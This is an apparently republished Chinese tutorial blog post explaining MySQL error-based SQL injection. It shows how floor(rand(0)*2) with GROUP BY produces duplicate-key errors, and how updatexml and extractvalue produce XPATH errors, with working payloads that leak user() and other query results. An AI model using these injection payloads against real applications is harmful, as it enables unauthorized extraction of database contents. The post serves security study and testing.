前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >mysql floor报错注入_mysql报错注入总结[通俗易懂]

mysql floor报错注入_mysql报错注入总结[通俗易懂]

作者头像
全栈程序员站长
发布2022-11-19 12:26:33
2.5K0
发布2022-11-19 12:26:33
举报

大家好,又见面了,我是你们的朋友全栈君。

最近又深刻的研究了一下mysql的报错注入,发现很多值得记录的东西,于是写了这篇博客做一个总结,目的是为了更深刻的理解报错注入

报错注入原因及分类

既然是研究报错注入,那我们先要弄明白为什么我们的注入语句会导致数据库报错,报错的原因我自己总结了一下,有以下几点

重复数据报错,这里的重复主要有两个方面,其中之一是基于主键的唯一性:一个表主键必须是唯一的,如果一个表尝试生成两个相同的主键,就会爆出Duplicate entry ‘1’ for key ‘group_key’的主键重复错误,于是根据这种报错就产生了floor(rand(0)*2)等注入手法,另外一个就是基于列名的唯一性,如果我们在一个表中构造了两个相同的列名,就会产生Duplicate column name的错误,报错方法通常有NAME_CONST,或者利用join和using关键字连接同一个表创建子查询进行报错,这个方法从lctf2017 pcat大佬的writeup中学到的,在我的另一篇文章中会提到

基于数据类型不一致而产生的报错:mysql的一些函数参数要求的是什么数据类型,如果数据类型不符合,自然就会报错,这种报错也是相对容易理解的,根据这种特性产生的报错注入有updatexml,extractvalue等注入手法

基于BIGINT溢出错误的SQL注入,根据超出最大整数溢出产生的错误,这类报错注入是在mysql5.5.5版本后才产生的,5.5.5版本前并不会因为整数溢出而报错,这种注入自己在phpstudy上试了试,mysql版本为5.5.53,虽然报错了但是并没有爆出信息,以后研究出来再补充

其他报错,企业级代码审计这本书上看到的,一些mysql空间函数geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),通过这些报错会产生Illegal non geometric的错误,里面同时包含了我们构造查询语句的信息

原理分析

接下来对上面列出的一些报错注入一个个进行分析

基于主键值重复

floor(rand(0)*2):我们在进行报错注入时用的相对较多的方法,网上给出的报错语句大部分是这样的

id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

看到这是不是有点云里雾里的感觉呢,没关系,我也因为这个语句纠结了一段时间,比如为什么要floor(rand(0)*2),为什么要用到information_schema.tables这个表,接下来我们就把它彻底弄明白,先看rand()这个函数,这个函数都知道是产生随机数的,但是当rand(0)被计算多次时它所产生的值是有规律的,我们以information_schema.tables这个表进行示范,因为它里面的数据多,别的表也可以,只要数据量够多,这样可以使rand(0)计算多次,便于观察,为了更便于观察,我们取前30条记录,查询语句

mysql> select rand(0) from information_schema.tables limit 0,30;

+———————+

| rand(0) |

+———————+

| 0.15522042769493574 |

| 0.620881741513388 |

| 0.6387474552157777 |

| 0.33109208227236947 |

| 0.7392180764481594 |

| 0.7028141661573334 |

| 0.2964166321758336 |

| 0.3736406931408129 |

| 0.9789535999102086 |

| 0.7738459508622493 |

| 0.9323689853142658 |

| 0.3403071047182261 |

| 0.9044285983819781 |

| 0.501221708488857 |

| 0.7928227780319962 |

| 0.4604487954270549 |

| 0.9237756737729308 |

| 0.23753201331713425 |

| 0.4163330760005238 |

| 0.3690693707848614 |

| 0.5963476566563805 |

| 0.874530201660963 |

| 0.5836080690693185 |

| 0.29444977109734877 |

| 0.7214246790124333 |

| 0.7237741125037652 |

| 0.4545965562151713 |

| 0.10166047429820567 |

| 0.14451273357915947 |

| 0.4175822757348253 |

+———————+

30 rows in set (0.05 sec)

通过多次测试观察可以发现规律,每次执行sql语句多次计算rand(0)时,rand(0)产生的值是总是固定的,不管执行多少次语句,多次计算的rand(0)的前30条总是和上面得计算结果一样,那么可以做出结论之后的结果也总是一样,观察上述计算结果,看似杂乱的数值其实都有着一个范围界限,那就是0~0.5,0.5~1,我们将rand(0)*2再观察一下

mysql> select rand(0)*2 from information_schema.columns limit 0,30;

+———————+

| rand(0)*2 |

+———————+

| 0.3104408553898715 |

| 1.241763483026776 |

| 1.2774949104315554 |

| 0.6621841645447389 |

| 1.4784361528963188 |

| 1.4056283323146668 |

| 0.5928332643516672 |

| 0.7472813862816258 |

| 1.9579071998204172 |

| 1.5476919017244986 |

| 1.8647379706285316 |

| 0.6806142094364522 |

| 1.8088571967639562 |

| 1.002443416977714 |

| 1.5856455560639924 |

| 0.9208975908541098 |

| 1.8475513475458616 |

| 0.4750640266342685 |

| 0.8326661520010477 |

| 0.7381387415697228 |

| 1.192695313312761 |

| 1.749060403321926 |

| 1.167216138138637 |

| 0.5888995421946975 |

| 1.4428493580248667 |

| 1.4475482250075304 |

| 0.9091931124303426 |

| 0.20332094859641134 |

| 0.28902546715831895 |

| 0.8351645514696506 |

+———————+

30 rows in set (0.69 sec)

此时界限分隔值变成了1,数值都是零点几的小数和一点几的小数,于是用floor处理一下

mysql> select floor(rand(0)*2) from information_schema.columns limit 0,30;

+——————+

| floor(rand(0)*2) |

+——————+

| 0 |

| 1 |

| 1 |

| 0 |

| 1 |

| 1 |

| 0 |

| 0 |

| 1 |

| 1 |

| 1 |

| 0 |

| 1 |

| 1 |

| 1 |

| 0 |

| 1 |

| 0 |

| 0 |

| 0 |

| 1 |

| 1 |

| 1 |

| 0 |

| 1 |

| 1 |

| 0 |

| 0 |

| 0 |

| 0 |

+——————+

于是就有了floor(rand(0)2),同样的,每次执行多次floor(rand(0)2),所得的结果也总是这样固定,我们只看前6个数字,总是0,1,1,0,1,1这样的顺序,后面的数也是如此有着自己的顺序

接下来我们构造一个sql语句,它可以报出Duplicate的错误

mysql> select count(*) from information_schema.tables group by floor(rand(0)*2);

ERROR 1062 (23000): Duplicate entry ‘1’ for key ‘group_key’

分析这条语句,当进行count(),group by聚合函数分组计算时,mysql会创建一个虚拟表,虚拟表由主键列和count()列两列组成,同时floor(rand(0)2)这个值会被计算多次,这一点很重要,计算多次是指在取数据表数据使用group by时,进行一次floor(rand(0)2),如果虚拟表中不存在此数据时,那么在往虚拟表插入数据时,floor(rand(0)2)将会再被计算一次,接下来分析,取数据表第一条记录时第一次使用group by,计算floor(rand(0)2)的值为0,查询虚拟表发现0这个主键不存在,于是再次计算floor(rand(0)2)结果为1,将1作为主键插入虚拟表,这时主键1的count()值为1,接下来取数据表第二条记录时第二次使用group by,计算floor(rand(0)2),结果为1,然后查询虚拟表,发现1的键值存在,于是count()的值加1,取数据表第三条记录时第三次使用group by,计算floor(rand(0)2)值为0,查询虚拟表,发现0的键值不存在,于是再一次计算floor(rand(0)2),结果为1,当尝试将1插入虚拟表中时,发现主键1已经存在,所以报出主键重复的错误,整个过程中查询了information_schema.tables这个表3条记录发生报错,这也是报错为什么需要数据表的记录多到至少为3条的原因,也是为什么选择information_schema.tables表的原因,因为这个表中的记录一定大于三条,由此可知我们其实还以选择information_schema.columns,information_schema.schemata等表

下面构造语句

mysql> select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,user());

ERROR 1062 (23000): Duplicate entry ‘1:root@localhost’ for key ‘group_key’

是不是看着很眼熟,没错,这就是我们在开头给出的那个复杂的语句,只不过开头的那个加了个子查询,其实and后的括号里直接写这个语句也能达到一样的效果

mysql> select * from user where id=1 and (select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,user()));

ERROR 1062 (23000): Duplicate entry ‘1:root@localhost’ for key ‘group_key’

把user()换成其他查询语句,就可以注入出别的数据

基于数据类型的不一致

updatexml(1,XPATH,1)函数的第二个参数要求为XPATH格式,如果我们把它改为字符串格式,那么就会爆出XPATH syntax error的错误,于是构造sql语句

mysql> select * from user where id=1 and updatexml(1,(concat(1,user())),1);

ERROR 1105 (HY000): XPATH syntax error: ‘root@localhost’

利用concat函数返回字符串产生报错,同样的函数还有extractvalue(1,XPATH)

mysql> select * from user where id=1 and extractvalue(1,(concat(1,user())));

ERROR 1105 (HY000): XPATH syntax error: ‘root@localhost’

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/187521.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年9月30日 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档